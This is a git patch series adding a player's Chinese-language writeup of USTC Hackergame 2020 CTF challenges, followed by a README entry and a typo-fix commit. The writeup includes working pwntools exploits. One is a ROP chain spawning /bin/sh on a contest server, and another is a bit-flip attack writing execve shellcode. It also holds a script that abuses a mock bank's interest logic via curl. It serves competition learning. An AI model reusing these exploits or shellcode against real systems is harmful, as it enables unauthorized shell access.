zOakP`{In?v-u*J#HBv<^rP*4rM4>SqbfDf$TSZ-A46ZG!M?q3$qYo6L{tP*D&3zXV zkS&)zY-=pDP|4fxJg9~9nsKo+6&5d8ysax6Qrl_g+%jXtwb@Cg{(#YMM%%`H8vj8Y z2#F8}l<>did8VYG;GHVyf!VR0;?3AEtDvAT{eNd9jF`!POgQ+MZQbvNd;a&*|K5%N f4{PJ%0c#~^N8#3ah!XRE3cx!>4TV}ci;w>YL2L(* literal 0 HcmV?d00001 diff --git a/players/NekomuraAoi/writeup.md b/players/NekomuraAoi/writeup.md new file mode 100644 index 0000000..6b2a175 --- /dev/null +++ b/players/NekomuraAoi/writeup.md @@ -0,0 +1,370 @@ +# OpenNekomura/USTC-Hackergame-2020_Writeup + +## 233 同学的 Docker +根据 docker 的特性,每次 RUN 的时候会新建一个 layer,存储的是与上一个 layer 的差分,所以233同学的方法是没有真正删除 flag.txt 的,它还存在于上一个 layer 中。 + +Linux 下 Docker 镜像所有文件存放在 /var/lib/docker + +直接搜索一波 + +``` +docker pull 8b8d3c8324c7/stringtool +sudo find /var/lib/docker -name flag.txt +``` + +Windows 大概也可以这样罢 + +## 从零开始的记账工具人 +网上搜到一堆,试了几个没一个能用的,只好自己写了。 +``` +d_number = ["零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"] + + +# 放大100倍,到时候自己除回来 +def parse(rmbtxt): + result = 0 + last = 0 + for chara in rmbtxt: + if chara in d_number: + last = d_number.index(chara) + + if chara == "拾": + if last == 0: + result += 10 * 100 + else: + result += last * 10 * 100 + last = 0 + if chara == "佰": + result += last * 100 * 100 + last = 0 + if chara == "元": + result += last * 100 + last = 0 + if chara == "角": + result += last * 10 + last = 0 + if chara == "分": + result += last + last = 0 + print(result) + +f = open("qingdan.txt", "r") +for line in f.readlines(): + line = line[:-1] + parse(line) +``` + +## 超简陋的 OpenGL 小程序 +ida 一看主函数逻辑比较复杂,Shader 脚本看不懂。果断 x64dbg 动态调试。 + +把 opengl32.dll API 全部打上断点。调试一下发现 flag 和 矩形 是用 glDrawElements 函数一笔画成的,定位到调用处。 + +![pic](1.png) + +网络搜索 glDrawElements 发现,如果我们能减小 count 的值,估计就可以显示出(肉眼可以分辨的)flag + +由于 rdx 是第二个参数,也就是 count ,正好看到 rdx 在 call 之前要左移两位,我们可以在这条指令的基础之上,修改为 sar rdx,3 ,这样 count 就变为了原来的一半。 + +![pic](2.png) + +重新运行程序即可看到 flag + +![pic](3.png) + +## 来自未来的信笺 +因为我是这道题一血,还是稍微写一下吧。 + +这题本身不难,但是最后做出来的人也不多,估计就是因为: +``` +另外一句题外话是,在写 writeup 的时候我也听说做这道题的选手们试了各种各样的二维码 decoding 的库,但是很多都没法完全正常工作——我开始有点担心一千年之后的人类能不能正确解码胶卷上的二维码了。 +``` +比如我用 golang 的某个二维码库解码,就有一张图片无法解码,用 zbarimg 才解码出来。 + +## 狗狗银行 +刚开始觉得是溢出,试了发现不是,那只能是羊毛银行了。 +``` +import os + +kaika = open("kaika.txt", "r").read() +zuanzhuang = open("zuanzhang.txt", "r").rea d() + +n_xyk = 50 +first_xyk = 2 +first_jjk = first_xyk + n_xyk - 1 + +for i in range(n_xyk): + os.system(kaika % "credit") + +for i in range(n_xyk * 12): + os.system(kaika % "debit") + +now_jjk = first_jjk + +for now_xyk in range(first_xyk, first_xyk + n_xyk): + for i in range(11): # 每张信用卡转不超过2000,所以最多转167*11 + os.system(zuanzhuang % (str(now_xyk),str(now_jjk))) #产生利息的最低金额167 + now_jjk += 1 +``` +Smart 到连 http request 都不写了,直接 system curl,通俗易懂 + +两 txt 内容为浏览器 Dev tools 的请求的 curl 命令,关键部分改为 %s + +然后就坐收利息了( + +## 自复读的复读机 +只有我不知道这叫 Quine 了 + +搜索了半天,整了个 sys getframe f_code.co_consts (草) + +这样可以获取到常量,也就是 exec 里面的字符串,离复读成功不远了,再拼拼凑凑,注意 print 不要输出换行,就复读成功了。 + +``` +exec('''print( ("exec(" + "'"*3 + __import__('sys')._getframe(1).f_code.co_consts[0] + "'"*3 +")")[::-1] ,end="")''') +exec('''print( __import__('hashlib').sha256(("exec(" + "'"*3 + __import__('sys')._getframe(1).f_code.co_consts[0] + "'"*3 +")").encode("utf-8")).hexdigest() ,end="")''') +``` + +## 生活在博弈树上 +只有我不知道 ROPgadget 可以自动生成 RopChain,又丢人了。 + +推荐使用 gdb+pwndbg 调试,方便。 + +先贴上 exp 脚本 +``` +from pwn import * + +context.arch = "amd64" + +payload_header = bytes("(2,2)", "latin-1") + bytes("A", "latin-1") * (0x90 + 8 - 5) + +payload1 = payload_header + p64(0x402551) # 第一题 + + +bss_addr = 0x00000000004A8320 + 0 + +ax_dx_bx_addr = 0x000000000046F9D6 +rdi_addr = 0x00000000004017B6 +rsi_addr = 0x0000000000407228 +rdx_addr = 0x000000000043DBB5 +syscall_addr = 0x43E6EE + +# syscall: rax args: rdi,rsi,rdx + +payload2 = ( + payload_header + + flat([rdi_addr, 0, ax_dx_bx_addr, 0, 8, 0, rsi_addr, bss_addr, syscall_addr]) + + flat([rdi_addr, bss_addr, ax_dx_bx_addr, 59, 0, 0, rsi_addr, 0, syscall_addr]) +) + +# c = process("./tictactoe") # 64 + +c = remote("202.38.93.111", 10141) +c.sendline("[TOKEN]]") + +c.recvuntil("Your turn") +c.sendline("(0,1)") +c.recvuntil("Your turn") +c.sendline("(0,2)") +c.recvuntil("Your turn") +# gdb.attach(c, "bp 0x402582") # bp retn + +c.sendline(payload2) + +c.sendline("/bin/sh\x00") + +c.interactive() +``` +## 超精准的宇宙射线模拟器 +打开 ida 分析,首先发现这玩意只能反转一个 bit ,那不行,必须多次反转才能写入 shellcode,所以要检查反转哪个 bit 可以使程序重复执行。 + +经过一波尝试,我写了一个简单的计算器。发现 0x401296 这个地方,反转第四个 bit 一次就可以跳转回 _start 使程序无限运行,再反转第六个 bit 就可以跳转到一个此过程中不会被执行的代码段地址,我们可以在这里写入 shellcode + +``` +from pwn import * + +context.arch = "amd64" +#context.log_level = "debug" + +# 计 算 器 +# 0x401295: call 指令 +# 0x401296: 相对偏移 +if False: + rip = 0x401295 + diff = -0xfffffffb # ? + data = 0xfffffe26 + data ^= (1 << 4) # 最后那次跳转用 + for i in range(64): + new = rip+diff + (data ^ (1 << i)) + print("%d %x" % (i, new)) + + exit() + +c = process("./bitflip") + +# execve binsh 27bytes +shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" +scbuf_addr = 0x401110 # 貌似不会被执行,可以放心写入( +origcode = ELF("./bitflip").read(scbuf_addr, 27) + +# 网上抄来的按情况自动反转bit以写入shellcode的工具函数 +def write_shellcode(): + for i in range(27): + # after a xor, the bits corresponding to 1 differ in the original + diff = origcode[i] ^ ord(shellcode[i]) + # itr is the no. of ones present in binary representation of the i byte + itr = format(diff, '07b').count('1') + for j in range(itr): # iterate till the byte is equal to the corresponding shellcode byte + # idx is the first 1 from the end, i.e the index of the last differing bit + idx = format(diff, '07b')[::-1].find('1') + change(scbuf_addr+i, idx) # write it in the code + ''' Updating the value of diff to account for the bit we just flipped ''' + fmt = format(diff, '07b') + tmp = list(fmt) + if tmp[len(tmp)-idx-1] == '0': + tmp[len(tmp)-idx-1] = '1' + else: + tmp[len(tmp)-idx-1] = '0' + t = "".join(tmp) + diff = int('0b'+t, 2) + + +def change(addr, idx): + c.recvuntil("Where do you want to flip?") + a = hex(addr)+" "+str(idx) + c.sendline(a) + print(a) + + +c.recvuntil("Where do you want to flip?") +c.sendline("0x401296 4") # call _start instead of exit +write_shellcode() +c.sendline("0x401296 6") + +c.interactive() +``` +把这段脚本的输出加上头尾两行,得到神必代码 +``` +0x401296 4 + +0x401110 0 +0x401110 3 +0x401110 7 +0x401111 4 +0x401111 7 +0x401112 3 +0x401113 0 +0x401113 1 +0x401113 3 +0x401113 4 +0x401113 5 +0x401113 6 +0x401113 7 +0x401114 0 +0x401114 4 +0x401114 6 +0x401114 7 +0x401115 0 +0x401115 2 +0x401115 4 +0x401115 6 +0x401115 7 +0x401116 0 +0x401116 1 +0x401116 3 +0x401116 5 +0x401116 7 +0x401117 0 +0x401117 6 +0x401117 7 +0x401118 4 +0x401118 7 +0x401119 2 +0x401119 3 +0x401119 6 +0x401119 7 +0x40111a 0 +0x40111a 1 +0x40111a 2 +0x40111a 4 +0x40111a 7 +0x40111b 0 +0x40111b 1 +0x40111b 3 +0x40111b 7 +0x40111c 0 +0x40111c 1 +0x40111c 3 +0x40111c 4 +0x40111c 6 +0x40111d 0 +0x40111d 1 +0x40111d 2 +0x40111d 3 +0x40111d 6 +0x40111e 0 +0x40111e 1 +0x40111e 3 +0x40111e 4 +0x40111e 6 +0x40111e 7 +0x40111f 0 +0x40111f 1 +0x40111f 4 +0x40111f 6 +0x401120 2 +0x401120 4 +0x401120 6 +0x401121 0 +0x401121 1 +0x401121 2 +0x401121 3 +0x401121 4 +0x401121 6 +0x401122 0 +0x401122 4 +0x401122 6 +0x401122 7 +0x401123 0 +0x401123 1 +0x401123 2 +0x401123 4 +0x401123 6 +0x401123 7 +0x401124 0 +0x401124 1 +0x401124 2 +0x401124 4 +0x401124 7 +0x401125 5 +0x401126 0 +0x401126 1 +0x401126 2 +0x401126 4 +0x401126 6 +0x401127 0 +0x401127 1 +0x401127 2 +0x401127 3 +0x401128 0 +0x401128 1 +0x401128 3 +0x401128 5 +0x401128 6 +0x401129 0 +0x401129 1 +0x401129 2 +0x401129 3 +0x401129 6 +0x40112a 0 +0x40112a 2 +0x40112a 6 + +0x401296 6 +``` +贴入远端就可以 getshell 然后拿到 flag + +## 总结 +成绩换算100分制果然没有60分,要重修了呜呜呜。 + +![pic](0.png) + +math 不会,binary 也没做出多少,全靠运气来混分( From 37ed8c037297771e33609cf893df7a56223240d9 Mon Sep 17 00:00:00 2001 From: arm64_v8a <48624112+arm64v8a@users.noreply.github.com> Date: Sat, 7 Nov 2020 17:52:09 +0800 Subject: [PATCH 2/3] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 8ad44a4..60ba688 100644 --- a/README.md +++ b/README.md @@ -61,6 +61,7 @@ | [深度烧烤](https://www.nottres.com/nonetype/ustc-hackergame-2020-writeup.html) | | 签到,猫咪问答++,2048,一闪而过的 Flag,从零开始的记账工具人,超简单的世界模拟器,从零开始的火星文生活,自我复读的复读机,233 的字符串工具,233 同学的 Docker,从零开始的 HTTP 链接,来自一教的图片,超简陋的 OpenGL 小程序,生活在博弈树上,来自未来的信笺,狗狗银行,超基础的数理模拟器,永不溢出的计算器,普通的身份认证器,超精巧的数字论证器,超简易的网盘服务器,超安全的代理服务器-1,超精准的宇宙射线模拟器,Flag 计算机 | | [gousaiyang](players/gousaiyang/writeup.md) | | 超简单的世界模拟器, 自复读的复读机, 233 同学的 Docker, 从零开始的 HTTP 链接, 超简陋的 OpenGL 小程序, 来自未来的信笺, 超安全的代理服务器, 超精准的宇宙射线模拟器 | | [imlonghao](https://imlonghao.com/58.html) | | 签到, 猫咪问答++, 2048, 一闪而过的 Flag, 从零开始的记账工具人, 超简单的世界模拟器, 自复读的复读机, 233 同学的字符串工具, 233 同学的 Docker, 从零开始的 HTTP 链接, 超简陋的 OpenGL 小程序, 生活在博弈树上, 狗狗银行, 超基础的数理模拟器, 超安全的代理服务器, 不经意传输-1 | +| [Nekomura Aoi](players/NekomuraAoi/writeup.md) | | 233 同学的 Docker, 从零开始的记账工具人, 超简陋的 OpenGL 小程序, 来自未来的信笺, 狗狗银行, 自复读的复读机, 生活在博弈树上, 超精准的宇宙射线模拟器 | ## 其他资源 From 4dd0c296932c51e835df61290860247ec6965e10 Mon Sep 17 00:00:00 2001 From: arm64_v8a <48624112+arm64v8a@users.noreply.github.com> Date: Sat, 7 Nov 2020 20:51:15 +0800 Subject: [PATCH 3/3] NekomuraAoi: Fix typo --- players/NekomuraAoi/writeup.md | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/players/NekomuraAoi/writeup.md b/players/NekomuraAoi/writeup.md index 6b2a175..4d5f413 100644 --- a/players/NekomuraAoi/writeup.md +++ b/players/NekomuraAoi/writeup.md @@ -63,7 +63,9 @@ ida 一看主函数逻辑比较复杂,Shader 脚本看不懂。果断 x64dbg 网络搜索 glDrawElements 发现,如果我们能减小 count 的值,估计就可以显示出(肉眼可以分辨的)flag -由于 rdx 是第二个参数,也就是 count ,正好看到 rdx 在 call 之前要左移两位,我们可以在这条指令的基础之上,修改为 sar rdx,3 ,这样 count 就变为了原来的一半。 +rdx 是第二个参数,也就是 count + +正好看到 rdx 在 call 之前要左移两位,我们可以把这条指令修改为 sar rdx,3 这样 count 会再左移一位,就变成了原来的一半。 ![pic](2.png) @@ -86,7 +88,7 @@ ida 一看主函数逻辑比较复杂,Shader 脚本看不懂。果断 x64dbg import os kaika = open("kaika.txt", "r").read() -zuanzhuang = open("zuanzhang.txt", "r").rea d() +zuanzhang = open("zuanzhang.txt", "r").read() n_xyk = 50 first_xyk = 2 @@ -102,7 +104,7 @@ now_jjk = first_jjk for now_xyk in range(first_xyk, first_xyk + n_xyk): for i in range(11): # 每张信用卡转不超过2000,所以最多转167*11 - os.system(zuanzhuang % (str(now_xyk),str(now_jjk))) #产生利息的最低金额167 + os.system(zuanzhang % (str(now_xyk),str(now_jjk))) #产生利息的最低金额167 now_jjk += 1 ``` Smart 到连 http request 都不写了,直接 system curl,通俗易懂 @@ -112,7 +114,7 @@ Smart 到连 http request 都不写了,直接 system curl,通俗易懂 然后就坐收利息了( ## 自复读的复读机 -只有我不知道这叫 Quine 了 +~~只有我不知道这叫 Quine 了~~ 搜索了半天,整了个 sys getframe f_code.co_consts (草) @@ -124,7 +126,7 @@ exec('''print( __import__('hashlib').sha256(("exec(" + "'"*3 + __import__('s ``` ## 生活在博弈树上 -只有我不知道 ROPgadget 可以自动生成 RopChain,又丢人了。 +~~只有我不知道 ROPgadget 可以自动生成 RopChain,又丢人了。~~ 推荐使用 gdb+pwndbg 调试,方便。 @@ -176,7 +178,7 @@ c.interactive() ## 超精准的宇宙射线模拟器 打开 ida 分析,首先发现这玩意只能反转一个 bit ,那不行,必须多次反转才能写入 shellcode,所以要检查反转哪个 bit 可以使程序重复执行。 -经过一波尝试,我写了一个简单的计算器。发现 0x401296 这个地方,反转第四个 bit 一次就可以跳转回 _start 使程序无限运行,再反转第六个 bit 就可以跳转到一个此过程中不会被执行的代码段地址,我们可以在这里写入 shellcode +经过一波尝试,我写了一个简单的计算器。发现 0x401296 这个地方,反转第四个 bit 就可以跳转回 _start 使程序无限运行,再反转第六个 bit 就可以跳转到一个此过程中不会被执行的代码段地址,我们可以在这里写入 shellcode ``` from pwn import * @@ -363,7 +365,8 @@ c.interactive() 贴入远端就可以 getshell 然后拿到 flag ## 总结 -成绩换算100分制果然没有60分,要重修了呜呜呜。 + +~~成绩换算100分制果然没有60分,要重修了呜呜呜。~~ ![pic](0.png)